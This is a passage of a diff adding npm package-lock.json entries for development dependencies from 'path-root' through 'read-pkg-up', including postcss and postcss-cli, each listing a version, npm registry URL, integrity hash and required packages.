+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
+ "dev": true
+ },
+ "path-root": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz",
+ "integrity": "sha512-QLcPegTHF11axjfojBIoDygmS2E3Lf+8+jI6wOVmNVenrKSo3mFdSGiIgdSHenczw3wPtlVMQaFVwGmM7BJdtg==",
+ "dev": true,
+ "requires": {
+ "path-root-regex": "^0.1.0"
+ }
+ },
+ "path-root-regex": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz",
+ "integrity": "sha512-4GlJ6rZDhQZFE0DPVKh0e9jmZ5egZfxTkp7bcRDuPlJXbAwhxcl2dINPUAsjLdejqaLsCeg8axcLjIbvBjN4pQ==",
+ "dev": true
+ },
+ "path-to-regexp": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz",
+ "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==",
+ "dev": true,
+ "requires": {
+ "isarray": "0.0.1"
+ },
+ "dependencies": {
+ "isarray": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+ "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
+ "dev": true
+ }
+ }
+ },
+ "path-type": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
+ "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
+ "dev": true
+ },
+ "pathval": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz",
+ "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==",
+ "dev": true
+ },
+ "pause-stream": {
+ "version": "0.0.11",
+ "resolved": "https://registry.npmjs.org/pause-stream/-/pause-stream-0.0.11.tgz",
+ "integrity": "sha512-e3FBlXLmN/D1S+zHzanP4E/4Z60oFAa3O051qt1pxa7DEJWKAyil6upYVXCWadEnuoqa4Pkc9oUx9zsxYeRv8A==",
+ "dev": true,
+ "requires": {
+ "through": "~2.3"
+ }
+ },
+ "picocolors": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
+ "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==",
+ "dev": true
+ },
+ "picomatch": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+ "dev": true
+ },
+ "pify": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==",
+ "dev": true
+ },
+ "pinkie": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz",
+ "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==",
+ "dev": true
+ },
+ "pinkie-promise": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
+ "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==",
+ "dev": true,
+ "requires": {
+ "pinkie": "^2.0.0"
+ }
+ },
+ "pirates": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz",
+ "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==",
+ "dev": true
+ },
+ "pkg-dir": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz",
+ "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
+ "dev": true,
+ "requires": {
+ "find-up": "^3.0.0"
+ },
+ "dependencies": {
+ "find-up": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+ "dev": true,
+ "requires": {
+ "locate-path": "^3.0.0"
+ }
+ },
+ "locate-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+ "dev": true,
+ "requires": {
+ "p-locate": "^3.0.0",
+ "path-exists": "^3.0.0"
+ }
+ },
+ "p-limit": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+ "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+ "dev": true,
+ "requires": {
+ "p-try": "^2.0.0"
+ }
+ },
+ "p-locate": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+ "dev": true,
+ "requires": {
+ "p-limit": "^2.0.0"
+ }
+ },
+ "path-exists": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+ "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
+ "dev": true
+ }
+ }
+ },
+ "plugin-error": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/plugin-error/-/plugin-error-1.0.1.tgz",
+ "integrity": "sha512-L1zP0dk7vGweZME2i+EeakvUNqSrdiI3F91TwEoYiGrAfUXmVv6fJIq4g82PAXxNsWOp0J7ZqQy/3Szz0ajTxA==",
+ "dev": true,
+ "requires": {
+ "ansi-colors": "^1.0.1",
+ "arr-diff": "^4.0.0",
+ "arr-union": "^3.1.0",
+ "extend-shallow": "^3.0.2"
+ },
+ "dependencies": {
+ "ansi-colors": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-1.1.0.tgz",
+ "integrity": "sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==",
+ "dev": true,
+ "requires": {
+ "ansi-wrap": "^0.1.0"
+ }
+ },
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ }
+ }
+ },
+ "posix-character-classes": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz",
+ "integrity": "sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==",
+ "dev": true
+ },
+ "postcss": {
+ "version": "8.4.26",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.26.tgz",
+ "integrity": "sha512-jrXHFF8iTloAenySjM/ob3gSj7pCu0Ji49hnjqzsgSRa50hkWCKD0HQ+gMNJkW38jBI68MpAAg7ZWwHwX8NMMw==",
+ "dev": true,
+ "requires": {
+ "nanoid": "^3.3.6",
+ "picocolors": "^1.0.0",
+ "source-map-js": "^1.0.2"
+ },
+ "dependencies": {
+ "nanoid": {
+ "version": "3.3.6",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz",
+ "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==",
+ "dev": true
+ }
+ }
+ },
+ "postcss-cli": {
+ "version": "10.1.0",
+ "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-10.1.0.tgz",
+ "integrity": "sha512-Zu7PLORkE9YwNdvOeOVKPmWghprOtjFQU3srMUGbdz3pHJiFh7yZ4geiZFMkjMfB0mtTFR3h8RemR62rPkbOPA==",
+ "dev": true,
+ "requires": {
+ "chokidar": "^3.3.0",
+ "dependency-graph": "^0.11.0",
+ "fs-extra": "^11.0.0",
+ "get-stdin": "^9.0.0",
+ "globby": "^13.0.0",
+ "picocolors": "^1.0.0",
+ "postcss-load-config": "^4.0.0",
+ "postcss-reporter": "^7.0.0",
+ "pretty-hrtime": "^1.0.3",
+ "read-cache": "^1.0.0",
+ "slash": "^5.0.0",
+ "yargs": "^17.0.0"
+ },
+ "dependencies": {
+ "anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "requires": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ }
+ },
+ "binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true
+ },
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
+ "chokidar": {
+ "version": "3.5.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+ "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+ "dev": true,
+ "requires": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "fsevents": "~2.3.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ }
+ },
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "optional": true
+ },
+ "glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^4.0.1"
+ }
+ },
+ "globby": {
+ "version": "13.2.2",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-13.2.2.tgz",
+ "integrity": "sha512-Y1zNGV+pzQdh7H39l9zgB4PJqjRNqydvdYCDG4HFXM4XuvSaQQlEc91IU1yALL8gUTDomgBAfz3XJdmUS+oo0w==",
+ "dev": true,
+ "requires": {
+ "dir-glob": "^3.0.1",
+ "fast-glob": "^3.3.0",
+ "ignore": "^5.2.4",
+ "merge2": "^1.4.1",
+ "slash": "^4.0.0"
+ },
+ "dependencies": {
+ "slash": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
+ "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==",
+ "dev": true
+ }
+ }
+ },
+ "ignore": {
+ "version": "5.2.4",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz",
+ "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==",
+ "dev": true
+ },
+ "is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "requires": {
+ "binary-extensions": "^2.0.0"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "requires": {
+ "picomatch": "^2.2.1"
+ }
+ },
+ "slash": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz",
+ "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==",
+ "dev": true
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ }
+ }
+ },
+ "postcss-import": {
+ "version": "15.1.0",
+ "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
+ "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
+ "dev": true,
+ "requires": {
+ "postcss-value-parser": "^4.0.0",
+ "read-cache": "^1.0.0",
+ "resolve": "^1.1.7"
+ }
+ },
+ "postcss-js": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz",
+ "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==",
+ "dev": true,
+ "requires": {
+ "camelcase-css": "^2.0.1"
+ }
+ },
+ "postcss-load-config": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.1.tgz",
+ "integrity": "sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==",
+ "dev": true,
+ "requires": {
+ "lilconfig": "^2.0.5",
+ "yaml": "^2.1.1"
+ }
+ },
+ "postcss-nested": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz",
+ "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==",
+ "dev": true,
+ "requires": {
+ "postcss-selector-parser": "^6.0.11"
+ }
+ },
+ "postcss-reporter": {
+ "version": "7.0.5",
+ "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz",
+ "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==",
+ "dev": true,
+ "requires": {
+ "picocolors": "^1.0.0",
+ "thenby": "^1.3.4"
+ }
+ },
+ "postcss-selector-parser": {
+ "version": "6.0.13",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz",
+ "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==",
+ "dev": true,
+ "requires": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ }
+ },
+ "postcss-value-parser": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+ "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
+ "dev": true
+ },
+ "prelude-ls": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
+ "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
+ "dev": true
+ },
+ "pretty-hrtime": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz",
+ "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==",
+ "dev": true
+ },
+ "process-nextick-args": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
+ "dev": true
+ },
+ "process-on-spawn": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/process-on-spawn/-/process-on-spawn-1.0.0.tgz",
+ "integrity": "sha512-1WsPDsUSMmZH5LeMLegqkPDrsGgsWwk1Exipy2hvB0o/F0ASzbpIctSCcZIK1ykJvtTJULEH+20WOFjMvGnCTg==",
+ "dev": true,
+ "requires": {
+ "fromentries": "^1.2.0"
+ }
+ },
+ "progress": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
+ "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
+ "dev": true
+ },
+ "prompts": {
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
+ "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
+ "dev": true,
+ "requires": {
+ "kleur": "^3.0.3",
+ "sisteransi": "^1.0.5"
+ }
+ },
+ "prr": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz",
+ "integrity": "sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw==",
+ "dev": true
+ },
+ "psl": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
+ "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==",
+ "dev": true
+ },
+ "pump": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
+ "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
+ "dev": true,
+ "requires": {
+ "end-of-stream": "^1.1.0",
+ "once": "^1.3.1"
+ }
+ },
+ "pumpify": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz",
+ "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==",
+ "dev": true,
+ "requires": {
+ "duplexify": "^3.6.0",
+ "inherits": "^2.0.3",
+ "pump": "^2.0.0"
+ },
+ "dependencies": {
+ "pump": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz",
+ "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==",
+ "dev": true,
+ "requires": {
+ "end-of-stream": "^1.1.0",
+ "once": "^1.3.1"
+ }
+ }
+ }
+ },
+ "punycode": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz",
+ "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==",
+ "dev": true
+ },
+ "querystringify": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
+ "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==",
+ "dev": true
+ },
+ "queue-microtask": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+ "dev": true
+ },
+ "randombytes": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+ "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+ "dev": true,
+ "requires": {
+ "safe-buffer": "^5.1.0"
+ }
+ },
+ "read-cache": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+ "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+ "dev": true,
+ "requires": {
+ "pify": "^2.3.0"
+ },
+ "dependencies": {
+ "pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "dev": true
+ }
+ }
+ },
+ "read-pkg": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz",
+ "integrity": "sha512-7BGwRHqt4s/uVbuyoeejRn4YmFnYZiFl4AuaeXHlgZf3sONF0SOGlxs2Pw8g6hCKupo08RafIO5YXFNOKTfwsQ==",
+ "dev": true,
+ "requires": {
+ "load-json-file": "^1.0.0",
+ "normalize-package-data": "^2.3.2",
+ "path-type": "^1.0.0"
+ },
+ "dependencies": {
+ "path-type": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz",
+ "integrity": "sha512-S4eENJz1pkiQn9Znv33Q+deTOKmbl+jj1Fl+qiP/vYezj+S8x+J3Uo0ISrx/QoEvIlOaDWJhPaRd1flJ9HXZqg==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "^4.1.2",
+ "pify": "^2.0.0",
+ "pinkie-promise": "^2.0.0"
+ }
+ },
+ "pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "dev": true
+ }
+ }
+ },
+ "read-pkg-up": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz",
+ "integrity": "sha512-WD9MTlNtI55IwYUS27iHh9tK3YoIVhxis8yKhLpTqWtml739uXc9NWTpxoHkfZf3+DkCCsXox94/VWZniuZm6A==",
+ "dev": true,
+ "requires": {
+ "find-up": "^1.0.0",
+ "read-pkg": "^1.0.0"
+ },
+ "dependencies": {
+ "find-up": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
+ "integrity": "sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==",
+ "dev": true,
+ "requires": {
+ "path-exists": "^2.0.0",
+ "pinkie-promise": "^2.0.0"
+ }
+ },
+ "path-exists": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz",
+ "integrity": "sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==",
+ "dev": true,
+ "requires": {
